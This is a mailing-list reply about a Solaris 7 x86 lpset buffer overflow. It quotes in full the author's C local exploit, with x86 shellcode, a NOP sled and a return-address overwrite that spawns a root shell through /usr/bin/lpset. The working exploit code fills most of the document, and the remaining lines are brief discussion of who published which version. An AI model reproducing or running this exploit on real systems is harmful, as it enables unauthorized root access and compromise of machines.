Re: Solaris 7 x86 lpset exploit.

[teddi () LINUX IS (Theodor Ragnar Gislason)]

This is a different exploit than the once that are found on technotronic,
this one deals with a diff overflow, mine is a small 32 byte overflow
which was not fixed in patches, or so I've heard.

Later, 

Theodor R. Gislason

On Tue, 25 Apr 2000, Laurent LEVIER wrote:

> Cheers,
>
> Also available on multiple sites (technotronic, Argosnet, rootshell, ...) since a very long time.
>
> As said previously, will mail the Sparc version
>
> Laurent LEVIER
> IT Systems & Networks, Unix System Engineer
> Security Specialist
>
> Argosnet Security Server : http://www.Argosnet.com
> "Le Veilleur Technologique", "The Technology Watcher"
>
>
> At 15:24 24/04/00 +0000, Theodor Ragnar Gislason wrote:
> > Solaris 7 x86 /usr/bin/lpset overflow, there is a small overflow(32 bytes)
> > in lpset which will yield root access if properly exploited.
> >
> > There is a sparc version avail for this bug, the bug was discovered by
> > duke some time ago.
> >
> > I am releasing this exploit because of a copy-cat exploit on hack.co.za.
> >
> > For this exploit we use AAAA,RET,NOP,CODE.
> >
> > /* 
> >  *
> >  * solaris 2.7 lpset local exploit, i386.
> >  * discovered by: duke
> >  * not the same as on bt.
> >  * if exploit dosen´t work try offset from 300-450
> >  *
> >  * greets: duke, #!ADM, #!security.is, #hax
> >  *
> >  * DiGiT - teddi () linux is
> >  *
> > */
> >
> >
> > #include <unistd.h>
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> >
> > char shellcode[] =
> >  "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
> >  "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
> >  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
> >  "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
> >  "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
> >  "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
> >
> > long get_esp() { __asm__("movl %esp,%eax"); }
> >
> > int main (int argc, char *argv[]) {
> >
> >     long offset=410;
> >     int nop=64;
> >     int gab=40;
> >     long addr;
> >     char buffer[210];
> >     int i, a, b;
> >
> > if (argc > 1) offset = strtol(argv[1], NULL, 0);
> > if (argc > 2) gab = strtol(argv[2], NULL, 0);
> > if (argc > 3) nop = strtol(argv[2], NULL, 0);
> >
> >    for (a = 0; a <gab; a++)
> >         buffer[a] = 'A';
> >
> >   addr = get_esp() + offset;
> >
> >   buffer[a++] = addr & 0x000000ff;
> >   buffer[a++] = (addr & 0x0000ff00) >> 8;
> >   buffer[a++] = (addr & 0x00ff0000) >> 16;
> >   buffer[a++] = (addr & 0xff000000) >> 24;
> >
> >   for ( ; a < nop; a++)
> >     buffer[a] = 0x90;
> >
> >   for (b = 0; b < strlen(shellcode); b++, a++)
> >     buffer[a] = shellcode[b];
> >
> >   buffer[strlen(buffer)] = '\0';
> >
> >         printf("addr = 0x%x\n", addr);
> >         execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL);
> >
> > }